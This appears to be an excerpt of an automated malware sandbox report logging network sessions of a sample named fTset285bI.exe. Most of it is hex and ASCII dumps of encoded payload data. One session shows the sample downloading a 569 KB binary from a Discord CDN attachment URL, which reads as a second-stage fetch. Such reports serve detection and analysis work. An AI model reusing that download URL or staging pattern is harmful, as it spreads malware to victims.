2021-09-27 18:33:23 UTC	949	IN	Data Raw: b6 3b 90 ab 39 45 b8 40 d4 00 9e 41 e2 26 45 03 00 97 4e 91 29 e8 b7 75 52 ff 6b c2 d4 91 5d 35 4e c1 55 99 6d c7 77 64 f6 98 f0 4b a8 a5 c2 13 33 80 72 d8 c9 eb 26 de 28 9e 27 a7 3c 28 66 0c ed c0 d3 ca a2 3f 0f ed 6c 42 31 7b e6 ef 8c d4 9e 1a 5a c1 32 6d b3 ec 76 22 9c f2 87 da de 9e ca 79 5b df a3 c3 66 53 f2 d3 ff cd 73 19 0a d3 34 42 6c b4 f6 cd b8 79 e3 30 6f 03 a0 cd 66 2b ad e2 27 fe 76 be 71 a8 54 10 04 30 e4 54 e9 b1 64 e6 e7 34 c9 26 55 ed 05 11 10 67 cd b8 d7 1d 67 b6 2e 34 02 47 33 9b e4 aa 1d 02 8a 57 9c 3b a7 17 f9 63 ce bb 5b c8 a7 94 2c 47 e5 e7 b7 75 a0 b9 ff c2 70 10 67 eb f0 df d5 b4 fd f0 54 1f 53 01 8c 95 ac 63 33 c0 96 a1 ad 19 7c e0 bc 62 be fa cd b7 be c6 2b 52 76 f1 99 5d d5 82 7d 7a 9f 16 7e f4 50 0b a3 cd 76 24 20 b1 2f 85 7a Data Ascii: ;9E@A&EN)uRk]5NUmwdK3r&('<(f?lB1{Z2mv"y[fSs4Bly0of+'vqT0Td4&Ugg.4G3W;c[,GupgTSc3\|b+Rv]}z~Pv$ /z
2021-09-27 18:33:23 UTC	965	IN	Data Raw: 26 d5 6d 24 49 27 90 de 8e 92 43 17 f6 42 32 6d 4c 16 fa 75 5f 40 5f 40 5f 40 5f 40 b3 7f 22 17 3d 55 12 f5 51 55 4c bc b9 00 2e 34 43 9f b0 85 b5 af 61 27 e6 59 14 fb d5 b0 e8 04 44 96 d1 c9 c7 cc 22 de e8 08 8b 1f 9c 68 4b ea 8c e9 8e 98 cc 4d 7d 17 95 fc 75 43 0d 95 27 5c 5c 55 1e e5 fe 29 19 7d 20 99 b9 57 9c c2 65 ba 53 e5 3c 07 4f 77 74 1e fb 57 24 4a 9b 31 ee c1 17 cd f0 c7 17 7e 81 7c c0 eb fb a7 a3 cd 3e 20 92 25 db d8 bd 19 0a 4d 3c 0d 3b 8c e9 89 70 4e 69 85 0e 35 f6 1c 7c f1 72 58 97 c4 d5 31 80 06 2a e9 4e 69 85 0e 31 30 f2 87 72 53 ff 20 cb a5 85 d3 12 31 30 fa 44 37 35 3a a4 95 44 aa d5 b9 fc e4 16 12 b9 41 69 91 29 a8 58 d9 99 5d 61 7c 7b 7f 03 8c 93 ef c7 ad 20 99 b5 fb e1 c0 7b 29 fb 2a 22 63 f3 0b 28 65 b3 2c a4 a2 c0 c5 4c ec 3e a5 2d Data Ascii: &m$I'CB2mLu_@_@_@_@"=UQUL.4Ca'YD"hKM}uC'\\U)} WeS<OwtW$J1~\|> %M<;pNi5\|rX1Ni10rS 10D75:DAi)X]a\|{ {)"c(e,L>-
2021-09-27 18:33:23 UTC	973	IN	Data Raw: d0 e5 b4 03 02 8d 99 b5 f9 97 59 c9 1a 03 39 f1 da e8 cb 7e 42 6b 57 63 33 fd de 5b 36 33 18 c4 9d bf 10 b1 07 32 7d f9 4b 71 aa 6d 8a 98 73 77 18 3f 58 d1 3c 56 95 cd db 92 ae 51 7c 06 51 6c ba 0e 3f 56 c3 4c 2f 75 04 91 9e 10 13 7b e6 2c a4 51 ba 7a 16 81 00 2d 64 3d e8 b7 73 49 81 83 7d 0d 21 7d a4 db 64 f5 18 27 28 d4 48 25 cd f0 3b 82 01 40 d4 c2 2a 62 e1 eb 71 21 dd 09 61 bf d2 be 3e 5a 9e 41 cf 37 ca ab e0 1f 6f af 15 78 e6 ef 80 3b 8e fe a3 96 70 8c fe c3 e5 91 d6 fd 4f c0 6c 34 39 b9 ea 00 80 74 23 64 cd 4c 94 f5 d6 45 eb 39 1c 8c 7e e4 63 57 4e d8 97 71 66 bb 07 56 34 d5 b9 02 ca ab 45 6c 42 b3 7f 83 cd b8 d0 b2 37 41 b2 8e 5e 2c 36 33 c0 93 a7 d7 e9 c9 aa 38 4e 80 05 04 44 6e 0e 64 56 d1 17 95 e9 fd 59 e4 0d 04 27 64 3d 2c 7a 60 54 c2 13 23 99 Data Ascii: Y9~BkWc3[632}Kqmsw?X<VQ\|Ql?VL/u{,Qz-d=sI}!}d'(H%;@*bq!a>ZA7ox;pOl49t#dLE9~cWNqfV4ElB7A^,638NDndVY'd=,z`T#
2021-09-27 18:33:23 UTC	989	IN	Data Raw: bd f3 8e 90 20 57 9d c3 bb 57 e8 0b 9e 92 cd f0 8c e2 b0 db 5b 76 b1 17 38 c7 74 20 57 9c 6d 40 1a 8f cd 3b 96 a5 0a 56 66 30 9c 98 96 da af 67 cc 3b 84 55 41 16 3e d9 a3 46 3b d3 51 ca f6 f0 8c 4d a1 96 fe d7 4b 71 55 57 9d 17 dc 87 75 a0 b9 15 90 e3 ec 09 0e 51 07 00 95 54 ca 20 42 98 76 6a 94 3d 9d 34 12 e1 26 aa 0e eb 3e d1 6c c1 53 86 d0 31 49 7e 51 ad 43 12 8c 9b 4b 71 02 9c 6e 3a 95 2f 5a 15 2d 72 53 ce ee 10 13 63 b8 43 6d 4c 7c f6 c7 cc 73 d1 e4 61 7c 30 b2 b1 b4 28 79 b5 8c 0e 1c 89 cc b8 3e 1e 84 c3 29 78 19 81 f7 98 76 6b cb 8f cd 23 ed 40 da da 6c 8d 12 8e fc a7 2c a4 8b a7 27 28 71 03 1f 53 56 fc 77 9b d6 8b 1f 40 d4 1b 0d 6f 24 1c 63 4b 79 0e b4 b5 f8 aa 9d 7f 44 6a b1 ef 80 81 fc 22 63 33 c6 da 52 87 fe 28 23 e1 e3 a7 5c 60 f7 c6 fd ae ee Data Ascii: WW[v8t Wm@;Vf0g;UA>F;QMKqUWuQT Bvj=4&>lS1I~QCKqn:/Z-rScCmL\|sa\|0(y>)xvk#@l,'(qSVw@o$cKyDj"c3R(#\`
2021-09-27 18:33:23 UTC	1005	IN	Data Raw: 1f 27 53 0d 65 c7 6b 47 b5 4e 71 55 12 0e a9 dc 92 92 d5 46 6e 31 f6 15 3d 6f a0 46 6e 31 f7 98 76 56 64 26 53 68 a7 b6 15 19 cc c0 ff ce fd f2 00 c5 1f 90 04 cf 77 74 48 73 5a 9e 4d ff e9 39 16 fa 1f 90 22 17 7d 72 d8 cd 3d d8 8f fd 92 25 de e5 9c 3d 98 54 cf 37 8a 50 f2 0c a2 0a 5d 25 de bc ba 85 c5 78 c2 98 73 1b ea f8 5a 8f 09 5b 20 12 c1 16 b8 d2 51 08 d9 4f 03 4c 7c f0 07 56 94 29 a8 5a 9e 41 e2 e5 2e 66 6f 50 86 08 d9 4f 41 b0 43 e6 ad b4 a2 8b 1f 90 20 12 f1 89 8f 9d 93 a7 95 fe 2e 0e 4a 0e a8 9a 38 f5 30 28 f5 cc be 3e a6 c6 f1 89 8f 9d bf 11 6e ce 99 b5 bb 55 14 21 5c 06 2f a3 34 cc 10 a8 5c d2 5d 6d 89 bc e4 ea f8 1a 04 cf 37 ca 83 80 bb 56 7a b5 c1 83 51 14 04 0b f9 dd 12 32 34 29 a4 8b 91 a2 4b fa 1c 09 19 d0 2d b2 30 68 07 56 d6 99 0a dd 1b Data Ascii: 'SekGNqUFn1=oFn1vVd&ShwtHsZM9"}r=%=T7P]%xsZ[ QOL\|V)ZA.foPOAC .J80(>nU!\/4\]m7VzQ24)K-0hV
2021-09-27 18:33:23 UTC	1021	IN	Data Raw: 7a e4 72 85 2a 25 02 97 3a ae 96 71 7b 85 d5 8a 54 04 d7 21 c5 b7 bb 8a ee fc 7b 50 6e 9e 89 ca 20 0a b7 ae f8 5f a7 28 d9 b4 ba 6d 8f 16 36 12 7c 38 01 c5 4f 0b 25 15 74 8a ee 32 b5 05 14 7e 27 28 f2 51 83 88 45 60 6c 8c 9d ab b2 8d 81 f7 64 f3 05 51 09 e2 83 50 ad f6 50 85 69 07 dd 55 42 ef 44 2c a4 70 5a fa 2f 49 91 a2 09 48 8a 79 3d 18 cc 64 f3 07 a9 22 0d 7e 1c 01 08 52 4b bf 9a 3c 14 7c f8 4f 88 0c a2 fd a9 1c 4c f7 9a b1 e7 24 97 b1 59 14 35 80 72 18 ba 0c 20 16 77 94 7c 7b ad e5 b0 28 ad 5f 5f 65 7e 14 a8 d3 9d ca 22 11 1a c4 19 d8 32 c1 e8 d3 a9 1d 8f 10 1c 44 e2 25 9d 63 76 6a 06 c0 1e fd f3 05 91 a1 0f e2 b0 4b 86 e8 a9 e7 5a e1 87 d7 70 0b eb 84 fc da 90 c8 a5 10 a8 ed 8f 6d 19 0a 1d 88 cb a5 d2 bf 11 6f ee 4e ff 54 0a 92 d1 41 69 a2 0e 6e 31 Data Ascii: zr*%:q{T!{Pn _(m6\|8O%t2~'(QE`ldQPPiUBD,pZ/IHy=d"~RK<\|OL$Y5r w\|{(__e~"2D%cvjKZpmoNTAin1
2021-09-27 18:33:23 UTC	1037	IN	Data Raw: 94 29 a8 5a 9e 41 e2 e5 2d 61 7b 6d 4c 7c f0 07 56 94 29 a8 1b 55 46 fe 46 01 21 e1 13 16 99 cd 76 98 41 96 5d 4c 1b e3 35 80 eb 7b 2d 8d b5 f9 dc e9 86 08 99 8b 40 5f 6a 85 f1 89 cf 76 61 2f f6 54 f3 8e 5b 61 57 17 3d 99 d9 4f 43 9b 82 fe 28 26 2d b2 33 12 05 51 08 d9 4f 03 4c 7c f0 07 56 94 29 a8 5a 9e 41 e2 e5 6c c9 29 a8 5a 9e 41 e2 e5 6c c9 68 12 05 51 48 fe eb 26 d9 a4 af 14 81 6b ae ab e1 22 c5 bc e2 f5 1a 60 f5 ca f1 49 c6 5d db d3 47 18 ff eb 6b d3 54 04 cf 37 ca a9 65 38 09 20 26 99 a0 33 c0 d6 0b 64 b3 0b 40 d6 ac 53 f2 68 c0 d2 6d d0 d2 ea 38 7f 9b 31 ee 02 ca ab d0 ba 85 85 84 fc db ab 1e 0d 65 38 7c f0 07 56 95 53 f2 f3 71 55 12 0e ac 63 76 56 64 b6 7b 92 6f 50 c3 ad 16 fa 1f 6f 19 81 39 79 98 33 c0 6c 81 7c b5 4e 71 55 12 0e a0 46 2b 1a f4 Data Ascii: )ZA-a{mL\|V)UFF!vA]L5{-@_jva/T[aW=OC(&-3QOL\|V)ZAl)ZAlhQH&k"`I]GkT7e8 &3d@Shm81e8\|VSqUcvVd{oPo9y3l\|NqUF+
2021-09-27 18:33:23 UTC	1053	IN	Data Raw: db ab 1e ff 2d 5a 62 f4 9b 45 14 09 99 5d d9 0a 56 46 5d 2f 5d 0d 27 2a d6 9d 34 5a de 50 7a ae e3 7f 02 35 40 77 1c 80 05 14 7e 0c 69 bd f2 a2 0d 8d 66 47 4e e7 b2 f9 bc 03 28 16 05 35 c5 5e 34 08 b1 ba 45 d8 e1 21 1c f5 c6 29 57 e9 d8 a8 b2 8d 62 0f 0f aa d5 b2 37 43 ce f5 18 03 09 d0 42 21 1c 25 de 50 7a ae e3 67 3d db fe c0 6f 15 f3 64 c2 58 1d 74 23 6b bd e4 16 bf 9a 38 4c 79 4a 9f 38 09 d0 69 c9 23 72 24 59 92 ff 20 45 bd 5f de 1f 13 9f 4f 56 57 4a 2e 6f 50 86 08 dd b1 13 36 cc 63 b8 70 38 b3 0a 69 02 23 5a 61 d0 4c 42 8c ea bd 87 8a 50 14 71 3d c8 2e 50 df 07 0c 22 24 e3 98 c7 cf df a2 0e 6c c9 29 a8 69 aa a2 0e 6c 1a 8f bd 85 e1 53 f2 68 c0 d2 2d c1 7e a1 09 68 f0 45 62 4d aa d5 b9 fc 88 d8 25 9e 00 f5 eb da d3 f3 c1 63 33 f0 7f f4 ec b8 0b 9c 78 Data Ascii: -ZbE]VF]/]'*4ZPz5@w~ifGN(5^4E!)Wb7CB!%Pzg=odXt#k8LyJ8i#r$Y E_OVWJ.oP6cp8i#ZaLBPq=.P"$l)ilSh-~hEbM%c3x
2021-09-27 18:33:23 UTC	1069	IN	Data Raw: db 5c d0 81 79 14 03 c9 f1 02 38 c7 73 0c b1 7f b4 2d b2 72 da a9 34 81 f7 4a 44 69 42 66 7b 85 46 e5 be bd d4 48 20 82 3d 83 de 84 c5 94 2d e1 9c 25 15 bb 8c c1 9d 76 d2 b4 02 35 40 57 54 70 63 0f e0 e4 a9 57 05 ae 78 6d 8f 16 fc 51 04 bc b1 e7 02 41 3a da 28 ad b1 b9 51 cb 75 01 b7 00 2a fd 4e 47 7b 6a ba 5e 23 91 f0 f8 0a 56 52 00 35 4e 5b ab 1e f3 7e b1 07 00 96 2e 34 42 64 b6 7b 6f 51 08 d9 4f c0 ce 50 0d 92 60 1a 0b 8e f0 f8 e4 1e 24 f5 50 9e 13 8c 06 5f 2a 6f 92 e1 c2 98 72 8a 80 91 b2 fb c5 46 37 90 e0 d3 ac 88 f2 f2 f8 52 62 72 27 5c 5d 4b 12 f4 64 b6 8d e4 6a c4 dc 85 f7 f0 17 f4 74 85 dc 8d 59 28 d9 b0 93 f1 61 2a 5e a7 21 e8 74 2b e8 7c a9 23 66 45 1a ec 02 34 a9 0a 35 39 8b 1f c5 3f 54 eb 4b 05 35 c5 5e f5 f8 72 8d 59 28 d9 b0 93 8e f3 8b e0 Data Ascii: \y8s-r4JDiBf{FH =-%v5@WTpcWxmQA:(QuNG{j^#VR5N[~.4Bd{oQOP`$P_orF7Rbr'\]KdjtY(a*^!t+\|#fE459?TK5^rY(
2021-09-27 18:33:23 UTC	1085	IN	Data Raw: f9 63 cc 4f ba 8d da 59 4d ff ab e2 b8 69 bd f3 cc 4f eb bd 87 62 e4 61 d0 45 1f 55 fa f7 dd d4 cb 5d da de a8 a5 d2 bf 12 8b 7d 8d 66 f8 06 3c 90 ab 0d 30 b2 8d 66 4f a9 34 ae 2d 3f d5 35 3a 5d 56 6b 47 f0 04 58 70 2c d0 fe 65 d0 7c 7b 9d ea 73 a5 2d 22 30 d1 cc f5 1e 96 0a e1 b8 74 18 7c f8 59 c6 a2 4b f9 24 f5 6c 36 03 22 ff 6d c7 d0 ef 0f 96 d1 ac 2b 45 1f d5 cb b5 dd 65 e3 93 63 b0 65 7b b4 76 e1 60 75 b6 84 fc 60 23 71 93 2c d7 1e 86 f7 67 46 07 be 86 4b 71 ad b3 79 68 c0 90 d3 a8 a5 2d f6 bc 62 77 ef 78 b3 7f 88 f2 77 e7 99 bd 4f bc 85 79 3d 55 12 f1 8d 97 58 66 44 2d 76 09 5b 65 42 5c b6 f0 c1 9d 40 a0 ac 16 12 f1 88 b5 9f c4 95 16 9c 30 4d ff ab a4 2a 1e 30 b9 02 ca af dc 3e a5 2d f1 15 90 e6 64 b6 3a 42 dc d7 0a ce 2f b6 3a 42 1b 86 49 e6 8b 94 Data Ascii: cOYMiObaEU]}f<0fO4-?5:]VkGXp,e\|{s-"0t\|YK$l6"m+Eece{v`u`#q,gFKqyh-bwxwOy=UXfD-v[eB\@0M*0>-d:B/:BI
2021-09-27 18:33:23 UTC	1101	IN	Data Raw: 2a 2e 3d de 1c 09 1e b5 3d 66 ec ab b2 9e 85 06 38 c7 71 55 52 06 17 20 4b a1 97 ee c4 e8 f3 b9 46 64 b0 5a da 64 b9 09 26 2d 4c ff a9 1a 87 61 5a 55 ec 02 8f 63 33 85 fd 96 2b 06 db 94 9f cb d1 79 de d4 3c 13 fb e2 fc 56 4c 56 93 90 7c 46 61 29 9f 80 4f 0c c8 4c 8a 22 e8 0b fd a1 21 95 c6 f5 7f b0 ee 0a a0 cd 64 e0 b3 a5 3e d1 69 81 27 fd f9 5b ab 3d ad 19 04 37 41 1d 74 1f 54 67 fa 94 fa 94 6e 89 8e f0 05 25 8b e6 ee 2e cb d1 c0 80 11 a8 d1 ea d3 96 a5 f6 61 d0 3f 25 15 87 75 9c d5 ae ae e3 b4 fd 56 1f 4a fc 73 0c b1 2c 74 82 a1 0e 6c 27 d6 3e df ae e3 67 3d d8 c1 fe ee 89 5c 28 60 52 00 d7 3f 2b 28 30 4d 24 98 cd b8 70 58 99 b5 f9 b8 68 06 5f f9 17 8d 12 2b 26 76 b7 ad 76 22 4c 22 48 2e 6e 97 72 53 d6 fb 11 18 05 6a 14 de ff bf 9a fe 03 8f 16 f7 ec 26 Data Ascii: *.==f8qUR KFdZd&-LaZUc3+y<VLV\|Fa)OL"!d>i'[=7AtTgn%.a?%uVJs,tl'>g=\(`R?+(0M$pXh_+&vv"L"H.nrSj&
2021-09-27 18:33:23 UTC	1117	IN	Data Raw: a9 8a 42 64 f6 98 f0 5c fd 66 88 ce ee 5c 5c bd 48 fe da a6 57 2b ad e6 d4 b4 9e 87 01 9b 31 f0 06 3f ca df 85 00 1d 00 c5 94 2d 5a 1d 8e 6f 90 a5 14 7e 04 44 3f 8e 1b c6 2f 75 04 ce 05 92 7e 34 71 51 7d 62 19 85 f1 76 19 02 35 3a 8c 3e b2 22 e8 0b df b4 9e 82 75 87 01 1b 86 48 fe eb 20 13 c3 d9 14 35 f6 11 1a 14 5d 21 e1 9c c5 9c c2 67 e0 ac 8b c4 62 4e 41 ec 15 bb 8c ce 3e 09 9b 31 bb 0f ab bc d3 18 a4 0e 1b d3 ca 53 48 f8 e5 93 58 66 47 b5 3e 5d 51 c8 22 e8 0b bd 8b 7c e0 95 53 f5 ee 81 84 46 e7 8e e4 34 37 22 44 39 36 02 41 b2 8e 5e 2a 7c 0c a7 5e ab a4 db ac 26 a8 52 ce 3e 82 75 ad 6d 1a 57 ef 40 dc 3b 58 cc 73 01 16 a5 88 29 ac e8 0b 9f 3b 2c 0b 64 71 52 fe e8 71 aa a1 17 82 16 a9 8a 46 3e 5e 83 c4 10 ec 97 69 c9 db df a7 5c f2 5b 76 b2 b1 b4 28 79 Data Ascii: Bd\f\\HW+1?-Zo~D?/u~4qQ}bv5:>"uH 5]!gbNA>1SHXfG>]Q"\|SF47"D96A^*\|^&R>umW@;Xs);,dqRqF>^i\[v(y
2021-09-27 18:33:23 UTC	1133	IN	Data Raw: 6f db 79 1c c9 ac 30 f9 17 be 71 aa a1 66 52 4b 71 96 d1 c3 e5 db bd 0c a2 c6 61 ff 22 4c 6f db ab 1e d4 3a b9 fa 5f a7 df 2b 55 5a 61 df 50 fa 56 6c 81 f7 c0 6c 36 9c d3 a9 20 5a 15 28 35 4c 7f fc e6 66 44 96 d5 9b 52 77 26 aa 9d 36 14 c7 50 cf cf 7d f9 a4 24 ce 30 29 23 5a 9e 01 1a b9 ba 85 46 6c bd cc 35 55 d1 c4 dd a6 a5 d6 b6 39 36 17 f6 1f e4 2a af 2a a1 0a 86 56 cb d3 79 6a b1 36 7f 67 d6 09 4b 13 b2 7e 81 81 44 79 1d 52 b3 ae 7d 99 65 11 92 63 b8 9c d6 18 d6 34 15 f3 ad 0d a5 d3 66 ce 6c f0 07 a9 dc d7 aa df 5e 58 99 b5 1a 85 95 d8 87 b0 18 02 f2 1b f2 46 2f c3 c3 22 08 52 85 0e c5 6b 44 8b 17 27 a7 10 6f 54 49 76 e7 9a da a7 9d b7 39 4d f7 5e 24 57 62 68 f9 98 6c 42 60 e2 6e db 20 58 c1 63 ea c1 09 d0 b4 fd 80 8d 9b 50 47 a2 89 8e 19 f6 c5 36 bb Data Ascii: oy0qfRKqa"Lo:_+UZaPVll6 Z(5LfDRw&6P}$0)#ZFl5U96**Vyj6gK~DyR}ec4fl^XF/"RkD'oTIv9M^$WbhlB`n XcPG6
2021-09-27 18:33:23 UTC	1149	IN	Data Raw: 17 58 66 7b e6 ef c1 c1 d6 ed 7f b7 75 5f 6f 87 4e a4 af 2a a1 c9 6c 1e 79 4d 00 05 da d2 fa c8 df 7b 92 e5 e7 71 10 3b af cf c8 67 b6 7b 28 f1 41 c7 db 94 a2 4b bf c6 6e eb 84 c3 91 a2 0e 30 e9 53 f2 cc 3b d3 04 18 73 7f 88 cd b8 80 bc 5d f1 ac 9c fd 2d b2 37 1d 53 28 d9 8f 16 fa 5a 49 29 8d 66 7b e6 ef c1 c1 f6 30 c6 62 3a 51 4d 28 c2 bd f3 4e 0a dd 1c de 33 e5 93 67 b6 7b 28 f1 65 1d 74 1c 82 fe 6d 9b 4a 52 74 1c 82 fe 6d 9b 4e a4 af 2a a1 c9 6c 1e f5 b6 84 c3 91 a2 0e 30 c5 3a ae a8 d1 3c 13 ab e1 46 91 62 3a 51 4d 28 b6 5e 58 59 90 20 57 cf 33 e5 93 67 b6 7b 28 fe 20 37 35 05 da d2 fa c8 33 e5 93 67 b6 7b 28 fe 24 39 31 7b e6 ef c1 ce a5 f7 67 fd 2d b2 37 12 e5 49 0a 1d 00 c5 5a 46 76 c4 62 71 de db 11 b6 67 18 00 05 da d2 fa c7 04 ea 07 96 a5 d2 fa Data Ascii: Xf{u_oNlyM{q;g{(AKn0S;s]-7S(ZI)f{0b:QM(N3g{(etmJRtmNl0:<Fb:QM(^XY W3g{( 753g{($91{g-7IZFvbqg

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49746	162.159.130.233	443	C:\Users\user\Desktop\fTset285bI.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-27 18:33:32 UTC	1151	OUT	GET /attachments/836211098164265024/892047706770509844/Qybpdxzxxjklicipydzdiinowujxlof HTTP/1.1 User-Agent: aswe Host: cdn.discordapp.com Cache-Control: no-cache
2021-09-27 18:33:32 UTC	1151	IN	HTTP/1.1 200 OK Date: Mon, 27 Sep 2021 18:33:32 GMT Content-Type: application/octet-stream Content-Length: 569856 Connection: close CF-Ray: 6956d2284df33750-MXP Accept-Ranges: bytes Age: 13834 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Qybpdxzxxjklicipydzdiinowujxlof ETag: "b006f7c6421d7b2136a4e9c6c2bfd063" Expires: Tue, 27 Sep 2022 18:33:32 GMT Last-Modified: Mon, 27 Sep 2021 13:59:06 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1632751146791713 x-goog-hash: crc32c=DogVig== x-goog-hash: md5=sAb3xkIdeyE2pOnGwr/QYw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 569856 X-GUploader-UploadID: ADPycdu1OMyXkT98zxjTRHVCO1zlNFsznssLHgmWFlRZcv5cKjkTXw9N0FnQPsX2E6Gjb2u6fH3mZT6iQLSURgJ8_ww X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-09-27 18:33:32 UTC	1152	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 44 5a 79 49 72 78 70 6d 4b 6b 67 56 70 47 25 32 42 6c 36 69 4f 76 4f 55 61 77 72 78 66 61 36 4e 71 6d 65 74 75 52 72 57 45 6a 72 72 61 38 35 4b 4d 4e 78 43 63 58 6c 38 52 4a 71 6e 67 62 66 6b 45 41 31 75 48 4d 61 6d 55 70 41 30 4c 6e 77 4f 4a 53 67 4a 38 46 76 58 54 65 70 61 69 52 46 6d 4e 4f 25 32 46 6a 36 45 79 52 78 42 51 41 58 53 77 74 61 34 61 4e 39 75 36 63 7a 4d 65 77 57 6d 38 51 62 50 75 49 69 64 43 77 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DZyIrxpmKkgVpG%2Bl6iOvOUawrxfa6NqmetuRrWEjrra85KMNxCcXl8RJqngbfkEA1uHMamUpA0LnwOJSgJ8FvXTepaiRFmNO%2Fj6EyRxBQAXSwta4aN9u6czMewWm8QbPuIidCw%3D%3D"}],"group":"cf-nel","max_age":60
2021-09-27 18:33:32 UTC	1152	IN	Data Raw: 19 c6 ec b4 32 7a aa 0e a0 08 90 64 f2 4d af b2 2a 6d 02 83 c4 d9 0e b7 b9 4c 35 81 38 0d 35 9d e7 36 09 12 b5 bd 4d af ad a8 13 37 8e 5a ce ed d8 8a 5f 63 77 20 53 5d 62 ff e2 a1 8d d8 9d e7 29 ef ca e2 a1 8d d8 9d f8 54 c6 e6 ab a0 16 a2 13 34 0c ab a5 96 6f 00 82 b0 24 58 dd 18 af b2 2a 6d 02 83 c4 d9 0e b7 b9 4c 35 81 38 0d 35 9d e7 36 09 12 b5 bd 4d af ad a8 13 37 8e 5a ce ed d8 8a 5f 63 77 20 53 5d 62 ff e2 a1 8d d8 9d e7 29 ef ca e2 a1 8d d8 9d f8 54 c6 e6 ab a0 16 a2 13 34 0c ab a5 96 6f 00 82 b0 24 58 dd 18 af b2 2a 6d 02 83 c4 d9 0e b7 b9 4c 35 81 38 0d 35 9d e7 36 09 12 b5 bd 4d af ad a8 13 37 8e 5a ce ed d8 8a 5f 63 77 20 53 5d 62 ff e2 a1 8d d8 9d e7 29 ef ca e2 a1 8d d8 9d f8 54 c6 e6 ab a0 16 a2 13 34 0c ab a5 96 6f 00 82 b0 24 58 dd 18 af Data Ascii: 2zdMmL5856M7Z_cw S]b)T4o$XmL5856M7Z_cw S]b)T4o$X*mL5856M7Z_cw S]b)T4o$X
2021-09-27 18:33:32 UTC	1154	IN	Data Raw: 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a Data Ascii: 0?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG7$t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j
2021-09-27 18:33:32 UTC	1155	IN	Data Raw: df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 Data Ascii: !}fG7$t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG7$t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e
